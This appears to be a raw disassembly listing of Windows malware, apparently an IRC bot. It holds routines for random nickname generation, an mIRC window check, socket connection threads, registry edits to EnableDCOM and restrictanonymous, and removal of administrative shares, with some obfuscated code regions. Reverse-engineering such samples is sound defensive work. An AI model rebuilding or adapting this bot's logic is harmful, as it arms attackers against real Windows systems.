xor esi, esi
add esp, 10h
cmp dword_425B70, esi
jle short loc_410DC6
loc_410DA0: ; CODE XREF: sub_410D6D+57j
call sub_411F4A
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_430CC4
push 1Ch
push edi
call sub_41246A
add esp, 14h
inc esi
cmp esi, dword_425B70
jl short loc_410DA0
loc_410DC6: ; CODE XREF: sub_410D6D+31j
mov eax, edi
pop edi
pop esi
retn
sub_410D6D endp
; =============== S U B R O U T I N E =======================================
sub_410DCB proc near ; CODE XREF: .nsp0:0040DC72p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_41D048 ; GetTickCount
push eax
call sub_411F40
pop ecx
call sub_411F4A
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_425B70
test esi, esi
jle short loc_410E0E
loc_410DF8: ; CODE XREF: sub_410DCB+41j
call sub_411F4A
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_410DF8
loc_410E0E: ; CODE XREF: sub_410DCB+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_410DCB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call dword_41D048 ; GetTickCount
push eax
call sub_411F40
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_430CCC
push eax
push esi
call near ptr 0AB0000h
pop ecx
movsx eax, byte_430CCC
push 41h
pop ecx
push 1
pop edx
loc_410E54: ; CODE XREF: .nsp0:00410E5Fj
cmp eax, ecx
jnz short loc_410E5B
mov [ebp-4], edx
loc_410E5B: ; CODE XREF: .nsp0:00410E56j
inc ecx
cmp ecx, 5Bh
jl short loc_410E54
push 61h
pop ecx
loc_410E64: ; CODE XREF: .nsp0:00410E6Fj
cmp eax, ecx
jnz short loc_410E6B
mov [ebp-4], edx
loc_410E6B: ; CODE XREF: .nsp0:00410E66j
inc ecx
cmp ecx, 7Bh
jl short loc_410E64
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41246A
xor esi, esi
add esp, 0Ch
cmp dword_425B70, esi
jle short loc_410EB0
loc_410E8A: ; CODE XREF: .nsp0:00410EAEj
call sub_411F4A
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_430CC4
push 1Ch
push edi
call sub_41246A
add esp, 14h
inc esi
cmp esi, dword_425B70
jl short loc_410E8A
loc_410EB0: ; CODE XREF: .nsp0:00410E88j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_41D048 ; GetTickCount
push eax
call sub_411F40
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_41D13C ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_430CD0
push 1Ch
push edi
call sub_41246A
xor esi, esi
add esp, 10h
cmp dword_425B70, esi
jle short loc_410F25
loc_410EFF: ; CODE XREF: .nsp0:00410F23j
call sub_411F4A
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_430CC4
push 1Ch
push edi
call sub_41246A
add esp, 14h
inc esi
cmp esi, dword_425B70
jl short loc_410EFF
loc_410F25: ; CODE XREF: .nsp0:00410EFDj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_432708
mov dword ptr [ebp-94h], 94h
call dword_41D100 ; GetVersionExA
call dword_41D048 ; GetTickCount
push eax
call sub_411F40
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_410FAF
cmp dword ptr [ebp-8Ch], 0
jnz short loc_410F8F
cmp dword ptr [ebp-84h], 1
jnz short loc_410F7F
mov esi, offset a95 ; "95"
loc_410F7F: ; CODE XREF: .nsp0:00410F78j
cmp dword ptr [ebp-84h], 2
jnz short loc_410FEB
mov esi, offset aNt ; "NT"
jmp short loc_410FEB
; ---------------------------------------------------------------------------
loc_410F8F: ; CODE XREF: .nsp0:00410F6Fj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_410F9F
mov esi, offset a98 ; "98"
jmp short loc_410FEB
; ---------------------------------------------------------------------------
loc_410F9F: ; CODE XREF: .nsp0:00410F96j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_410FE6
mov esi, offset aMe ; "ME"
jmp short loc_410FEB
; ---------------------------------------------------------------------------
loc_410FAF: ; CODE XREF: .nsp0:00410F66j
cmp dword ptr [ebp-90h], 5
jnz short loc_410FE6
cmp dword ptr [ebp-8Ch], 0
jnz short loc_410FC8
mov esi, offset a2k ; "2K"
jmp short loc_410FEB
; ---------------------------------------------------------------------------
loc_410FC8: ; CODE XREF: .nsp0:00410FBFj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_410FD8
mov esi, offset aXp ; "XP"
jmp short loc_410FEB
; ---------------------------------------------------------------------------
loc_410FD8: ; CODE XREF: .nsp0:00410FCFj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_430CDC
jz short loc_410FEB
loc_410FE6: ; CODE XREF: .nsp0:00410FA6j
; .nsp0:00410FB6j
mov esi, offset dword_425644
loc_410FEB: ; CODE XREF: .nsp0:00410F86j
; .nsp0:00410F8Dj ...
mov edi, [ebp+8]
push esi
push offset dword_430CD4
push 1Ch
push edi
call sub_41246A
xor esi, esi
add esp, 10h
cmp dword_425B70, esi
jle short loc_41102F
loc_411009: ; CODE XREF: .nsp0:0041102Dj
call sub_411F4A
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_430CC4
push 1Ch
push edi
call sub_41246A
add esp, 14h
inc esi
cmp esi, dword_425B70
jl short loc_411009
loc_41102F: ; CODE XREF: .nsp0:00411007j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411035 proc near ; CODE XREF: sub_4110D8+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_41D048 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_411084
call dword_433AD4 ; FindWindowA
test eax, eax
mov eax, offset dword_430CE8
jnz short loc_41106D
mov eax, offset byte_432708
loc_41106D: ; CODE XREF: sub_411035+31j
push eax
push esi
push offset dword_430CE0
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41246A
add esp, 14h
jmp short loc_4110A4
; ---------------------------------------------------------------------------
loc_411084: ; CODE XREF: sub_411035+22j
call dword_433AD4 ; FindWindowA
test eax, eax
mov eax, offset dword_430CE8
jnz short loc_411098
mov eax, offset byte_432708
loc_411098: ; CODE XREF: sub_411035+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_411EEE
pop ecx
pop ecx
loc_4110A4: ; CODE XREF: sub_411035+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_4126F0
pop ecx
cmp eax, 2
pop esi
jbe short loc_4110D3
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_4138E0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_413710
add esp, 18h
loc_4110D3: ; CODE XREF: sub_411035+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_411035 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110D8 proc near ; CODE XREF: sub_40A059+7Fp
; sub_40A1C1+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_430C6C
loc_4110E4: ; CODE XREF: sub_4110D8+3Fj
cmp [ebp+arg_C], 0
jz short loc_4110FF
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_412310
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_411109
; ---------------------------------------------------------------------------
loc_4110FF: ; CODE XREF: sub_4110D8+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_411109: ; CODE XREF: sub_4110D8+25j
test eax, eax
jnz short loc_41111B
add esi, 14h
inc edi
cmp esi, offset dword_430CD0
jl short loc_4110E4
jmp short loc_411129
; ---------------------------------------------------------------------------
loc_41111B: ; CODE XREF: sub_4110D8+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_430C70[eax*4]
pop ecx
loc_411129: ; CODE XREF: sub_4110D8+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_41113C
push [ebp+arg_0]
call sub_411035
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41113C: ; CODE XREF: sub_4110D8+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4110D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411141 proc near ; DATA XREF: sub_41120E+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_411F70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_433AC8 ; ntohs
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_433B48 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4111FF
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_433A70 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_438C64[ecx], esi
jz short loc_4111FF
push [ebp+var_34]
push [ebp+var_28]
call dword_433B54 ; inet_ntoa
push eax
mov edi, offset dword_462994
push offset unk_430CEC
push edi
call sub_411EEE
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_40F9F1
push edi
call sub_408E17
add esp, 28h
loc_4111FF: ; CODE XREF: sub_411141+5Dj
; sub_411141+7Ej
push esi
call dword_433B60 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_411141 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41120E proc near ; DATA XREF: .nsp0:0040D3D1o
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_41D05C
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_41123C: ; CODE XREF: sub_41120E+ECj
push [ebp+var_2C]
push [ebp+var_20]
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_430D28
push eax
call sub_411EEE
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_438A58
push eax
call sub_413710
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_411141
push edi
push edi
call dword_41D070 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_4112A8
loc_41129D: ; CODE XREF: sub_41120E+98j
cmp [ebp+var_C], edi
jnz short loc_4112A8
push 32h
call esi ; dword_41D05C
jmp short loc_41129D
; ---------------------------------------------------------------------------
loc_4112A8: ; CODE XREF: sub_41120E+8Dj
; sub_41120E+92j
push [ebp+var_4]
call dword_41D074 ; CloseHandle
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; dword_41D05C
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_411FD0
add esp, 0Ch
push [ebp+arg_0]
call dword_4339FC ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_433AC4 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_411FD0
add esp, 0Ch
jmp loc_41123C
sub_41120E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4112FF proc near ; DATA XREF: .nsp0:0040F632o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_411346
call sub_41135F
jmp short loc_41134B
; ---------------------------------------------------------------------------
loc_411346: ; CODE XREF: sub_4112FF+3Ej
call loc_411683
loc_41134B: ; CODE XREF: sub_4112FF+45j
add esp, 10h
push [ebp+var_14]
call sub_411CB6
pop ecx
push 0
call near ptr 0AB0000h
inc edx
sub_4112FF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41135F proc near ; CODE XREF: sub_4112FF+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_433B98, edi
jnz loc_411491
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_433B38 ; RegOpenKeyExA
test eax, eax
jnz short loc_4113EA
mov ax, word_431110
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_433AEC ; RegSetValueExA
test eax, eax
jz short loc_4113CC
push offset unk_4310CC
jmp short loc_4113D1
; ---------------------------------------------------------------------------
loc_4113CC: ; CODE XREF: sub_41135F+64j
push offset dword_43109C
loc_4113D1: ; CODE XREF: sub_41135F+6Bj
lea eax, [ebp+var_214]
push eax
call sub_411EEE
pop ecx
pop ecx
push [ebp+var_4]
call dword_433AA4 ; RegCloseKey
jmp short loc_4113FD
; ---------------------------------------------------------------------------
loc_4113EA: ; CODE XREF: sub_41135F+36j
lea eax, [ebp+var_214]
push offset unk_431058
push eax
call sub_411EEE
pop ecx
pop ecx
loc_4113FD: ; CODE XREF: sub_41135F+89j
cmp [ebp+arg_C], edi
jnz short loc_41141C
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 14h
loc_41141C: ; CODE XREF: sub_41135F+A1j
lea eax, [ebp+var_214]
push eax
call sub_408E17
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_433B38 ; RegOpenKeyExA
test eax, eax
jnz short loc_41148A
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_433AEC ; RegSetValueExA
test eax, eax
jz short loc_41146C
push offset unk_430FF4
jmp short loc_411471
; ---------------------------------------------------------------------------
loc_41146C: ; CODE XREF: sub_41135F+104j
push offset unk_430FAC
loc_411471: ; CODE XREF: sub_41135F+10Bj
lea eax, [ebp+var_214]
push eax
call sub_411EEE
pop ecx
pop ecx
push [ebp+var_4]
call dword_433AA4 ; RegCloseKey
jmp short loc_4114A4
; ---------------------------------------------------------------------------
loc_41148A: ; CODE XREF: sub_41135F+E2j
push offset unk_430F5C
jmp short loc_411496
; ---------------------------------------------------------------------------
loc_411491: ; CODE XREF: sub_41135F+13j
push offset unk_430F18
loc_411496: ; CODE XREF: sub_41135F+130j
lea eax, [ebp+var_214]
push eax
call sub_411EEE
pop ecx
pop ecx
loc_4114A4: ; CODE XREF: sub_41135F+129j
cmp [ebp+arg_C], edi
jnz short loc_4114C3
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 14h
loc_4114C3: ; CODE XREF: sub_41135F+148j
lea eax, [ebp+var_214]
push eax
call sub_408E17
cmp dword_433BC0, edi
pop ecx
jnz loc_41163E
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_4114E6: ; CODE XREF: sub_41135F+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_433A14
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_411583
cmp eax, 0EAh
jz short loc_411583
mov esi, offset off_430D68
loc_411517: ; CODE XREF: sub_41135F+21Dj
push dword ptr [esi]
push edi
call sub_410042
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41152E
push offset unk_430EE0
jmp short loc_411533
; ---------------------------------------------------------------------------
loc_41152E: ; CODE XREF: sub_41135F+1C6j
push offset unk_430EA0
loc_411533: ; CODE XREF: sub_41135F+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41246A
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_411566
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 14h
loc_411566: ; CODE XREF: sub_41135F+1EBj
lea eax, [ebp+var_214]
push eax
call sub_408E17
add esi, 8
pop ecx
cmp esi, offset dword_430D88
jl short loc_411517
jmp loc_41161B
; ---------------------------------------------------------------------------
loc_411583: ; CODE XREF: sub_41135F+1AAj
; sub_41135F+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_411612
loc_411592: ; CODE XREF: sub_41135F+2AFj
mov edi, [esi]
push edi
call sub_4142AC
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_411607
push edi
call sub_40FF2F
push eax
push 0
call sub_410042
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_4115C1
push offset unk_430E68
jmp short loc_4115C6
; ---------------------------------------------------------------------------
loc_4115C1: ; CODE XREF: sub_41135F+259j
push offset unk_430E28
loc_4115C6: ; CODE XREF: sub_41135F+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41246A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_4115FA
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 14h
loc_4115FA: ; CODE XREF: sub_41135F+27Fj
lea eax, [ebp+var_214]
push eax
call sub_408E17
pop ecx
loc_411607: ; CODE XREF: sub_41135F+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_411592
xor edi, edi
loc_411612: ; CODE XREF: sub_41135F+22Dj
push [ebp+var_8]
call dword_433B58
loc_41161B: ; CODE XREF: sub_41135F+21Fj
cmp [ebp+var_10], 0EAh
jz loc_4114E6
lea eax, [ebp+var_214]
push offset unk_430DEC
push eax
call sub_411EEE
pop ecx
pop ecx
pop ebx
jmp short loc_411651
; ---------------------------------------------------------------------------
loc_41163E: ; CODE XREF: sub_41135F+177j
lea eax, [ebp+var_214]
push offset unk_430DA8
push eax
call sub_411EEE
pop ecx
pop ecx
loc_411651: ; CODE XREF: sub_41135F+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41166F
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 14h
loc_41166F: ; CODE XREF: sub_41135F+2F5j
lea eax, [ebp+var_214]
push eax
call sub_408E17
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41135F endp
; ---------------------------------------------------------------------------
loc_411683: ; CODE XREF: sub_4112FF:loc_411346p
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_433B98, ebx
push esi
jnz loc_4117B1
lea eax, [ebp-4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_433B38 ; RegOpenKeyExA
test eax, eax
jnz short loc_41170E
mov ax, word_431318
mov [ebp-6], ax
lea eax, [ebp-6]
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp-6]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push dword ptr [ebp-4]
call dword_433AEC ; RegSetValueExA
test eax, eax
jz short loc_4116F0
push offset unk_4312E0
jmp short loc_4116F5
; ---------------------------------------------------------------------------
loc_4116F0: ; CODE XREF: .nsp0:004116E7j
push offset dword_4312B0
loc_4116F5: ; CODE XREF: .nsp0:004116EEj
lea eax, [ebp-220h]
push eax
call sub_411EEE
pop ecx
pop ecx
push dword ptr [ebp-4]
call dword_433AA4 ; RegCloseKey
jmp short loc_411721
; ---------------------------------------------------------------------------
loc_41170E: ; CODE XREF: .nsp0:004116B9j
lea eax, [ebp-220h]
push offset unk_431058
push eax
call sub_411EEE
pop ecx
pop ecx
loc_411721: ; CODE XREF: .nsp0:0041170Cj
cmp [ebp+14h], ebx
jnz short loc_411740
push 1
lea eax, [ebp-220h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40F9F1
add esp, 14h
loc_411740: ; CODE XREF: .nsp0:00411724j
lea eax, [ebp-220h]
push eax
call sub_408E17
pop ecx
lea eax, [ebp-4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_433B38 ; RegOpenKeyExA
test eax, eax
jnz short loc_4117AA
lea eax, [ebp-8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push dword ptr [ebp-4]
mov [ebp-8], ebx
call dword_433AEC ; RegSetValueExA
test eax, eax
jz short loc_41178C
push offset unk_431260
jmp short loc_411791
; ---------------------------------------------------------------------------
loc_41178C: ; CODE XREF: .nsp0:00411783j
push offset unk_431218
loc_411791: ; CODE XREF: .nsp0:0041178Aj
lea eax, [ebp-220h]
push eax
call sub_411EEE
pop ecx
pop ecx
push dword ptr [ebp-4]
call dword_433AA4 ; RegCloseKey
jmp short loc_4117C4
; ---------------------------------------------------------------------------
loc_4117AA: ; CODE XREF: .nsp0:00411765j
push offset unk_4311C8
jmp short loc_4117B6
; ---------------------------------------------------------------------------
loc_4117B1: ; CODE XREF: .nsp0:00411696j
push offset unk_430F18
loc_4117B6: ; CODE XREF: .nsp0:004117AFj
lea eax, [ebp-220h]
push eax
call sub_411EEE
pop ecx
pop ecx
loc_4117C4: ; CODE XREF: .nsp0:004117A8j
cmp [ebp+14h], ebx
jnz short loc_4117E3
push 1
lea eax, [ebp-220h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40F9F1
add esp, 14h
loc_4117E3: ; CODE XREF: .nsp0:004117C7j
lea eax, [ebp-220h]
push eax
call sub_408E17
cmp dword_433BC0, ebx
pop ecx
jnz loc_411955 ; CODE XREF: .nsp0:00411873j
push edi
mov esi, offset off_430D68
mov edi, 200h
loc_411807: ; CODE XREF: .nsp0:0041186Cj
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_40FF96
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_411822
push offset unk_431194
jmp short loc_411827
; ---------------------------------------------------------------------------
loc_411822: ; CODE XREF: .nsp0:00411819j
push offset unk_431158
loc_411827: ; CODE XREF: .nsp0:00411820j
lea eax, [ebp-220h]
push edi
push eax
call sub_41246A
add esp, 10h
cmp [ebp+14h], ebx
jnz short loc_411856
push 1
lea eax, [ebp-220h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40F9F1
add esp, 14h
loc_411856: ; CODE XREF: .nsp0:0041183Aj
lea eax, [ebp-220h]
push eax
call sub_408E17
add esi, 8
pop ecx
cmp esi, offset off_430D78
jl short loc_411807
call near ptr 0AB0000h
jz short near ptr loc_4117F6+4
ror byte ptr [ecx+41B3FC45h], 0Fh
test [eax+eax+458B0000h], bh ; CODE XREF: .nsp0:00411937j
cld
and eax, 1
cmp al, 1
jnz loc_411932
cmp bl, 41h
jz loc_411932
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp-14h]
push 0Ah
push eax
call sub_41246A
push esi
push offset aC_0 ; "%c:\\"
lea eax, [ebp-20h]
push 0Ah
push eax
call sub_41246A
add esp, 20h
lea eax, [ebp-20h]
push eax
call dword_433B28 ; GetDriveTypeA
cmp eax, 3
jnz short loc_411932
lea eax, [ebp-20h]
push eax
lea eax, [ebp-14h]
push eax
push 0
call sub_40FF96
add esp, 0Ch
test eax, eax
lea eax, [ebp-14h]
push eax
jnz short loc_4118F0
push offset unk_431194
jmp short loc_4118F5
; ---------------------------------------------------------------------------
loc_4118F0: ; CODE XREF: .nsp0:004118E7j
push offset unk_431158
loc_4118F5: ; CODE XREF: .nsp0:004118EEj
lea eax, [ebp-220h]
push edi
push eax
call sub_41246A
add esp, 10h
cmp dword ptr [ebp+14h], 0
jnz short loc_411925
push 1
lea eax, [ebp-220h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40F9F1
add esp, 14h
loc_411925: ; CODE XREF: .nsp0:00411909j
lea eax, [ebp-220h]
push eax
call sub_408E17
pop ecx
loc_411932: ; CODE XREF: .nsp0:00411889j
; .nsp0:00411892j ...
inc bl
shr dword ptr [ebp-4], 1
jnz near ptr loc_41187C+5
lea eax, [ebp-220h]
push offset unk_431114
push eax
call sub_411EEE
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_411968
; ---------------------------------------------------------------------------
loc_411955: ; CODE XREF: .nsp0:loc_4117F6j
lea eax, [ebp-220h]
push offset unk_430DA8
push eax
call sub_411EEE
pop ecx
pop ecx
loc_411968: ; CODE XREF: .nsp0:00411953j
cmp [ebp+14h], ebx
jnz short loc_411986
push ebx
lea eax, [ebp-220h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40F9F1
add esp, 14h
loc_411986: ; CODE XREF: .nsp0:0041196Bj
lea eax, [ebp-220h]
push eax
call sub_408E17
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41199A proc near ; CODE XREF: .nsp0:00404972p
; .nsp0:004059B8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_438A58
loc_4119A2: ; CODE XREF: sub_41199A+18j
cmp byte ptr [eax], 0
jz short loc_4119B6
add eax, 234h
inc edi
cmp eax, offset dword_461F48
jl short loc_4119A2
jmp short loc_411A01
; ---------------------------------------------------------------------------
loc_4119B6: ; CODE XREF: sub_41199A+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_438A58[esi]
push eax
call sub_413710
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_438C58[esi], eax
and dword_438C5C[esi], 0
mov eax, [esp+8+arg_8]
and dword_438C60[esi], 0
mov dword_438C64[esi], eax
and byte_438C70[esi], 0
pop esi
loc_411A01: ; CODE XREF: sub_41199A+1Aj
mov eax, edi
pop edi
retn
sub_41199A endp
; ---------------------------------------------------------------------------
byte_411A05 db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:0040F3C8o
dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh
dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
dd 0C4830000h, 0E8006A14h, 69E5ACh, 555E5F52h, 0EC81EC8Bh
dd 200h, 6A5756h, 681075FFh, 431410h, 0FF0C75FFh, 7AE80875h
